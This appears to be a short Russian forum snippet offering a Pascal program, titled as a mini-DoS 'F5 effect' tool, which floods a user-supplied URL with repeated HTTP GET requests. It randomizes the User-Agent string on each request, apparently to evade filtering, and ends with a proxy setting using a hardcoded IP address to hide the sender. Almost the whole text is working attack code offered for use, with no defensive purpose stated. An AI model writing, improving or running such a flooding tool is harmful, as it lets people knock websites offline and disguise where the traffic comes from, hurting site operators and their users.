Недодос (эффект F5) с плюшками
- program project1;
- uses crt, SysUtils, httpsend; // httpsend.pas - Synapse
- var
- HTTP: THTTPSend;
- i, num: Integer;
- url: String;
- procedure f5_dos;
- begin
- i := i + 1;
- HTTP.UserAgent := 'Opera/9.80.' + IntToStr(i) +' (Windows NT 6.1) Presto/2.12.'
- + IntToStr(Random(1000)) + ' Version/12.15';
- if HTTP.HTTPMethod('GET', 'http://' + url) then HTTP.Document.Clear
- else
- begin
- num := 0;
- TextColor(Red);
- WriteLn('');
- WriteLn('Error!');
- end;
- end;
- begin
- TextColor(Yellow);
- WriteLn('URL:');
- ReadLn(url);
- WriteLn('');
- WriteLn('Enter the number of requests:'); // введите количество запросов
- ReadLn(num);
- HTTP := THTTPSend.Create;
- TextColor(Green);
- repeat
- f5_dos;
- WriteLn(i);
- until i >= num;
- HTTP.Free;
- TextColor(White);
- WriteLn('');
- WriteLn('Press any key to exit.');
- ReadLn;
- end.
Если надо прокси:
- HTTP.ProxyPort := '8080';
- HTTP.ProxyHost := '202.43.74.186';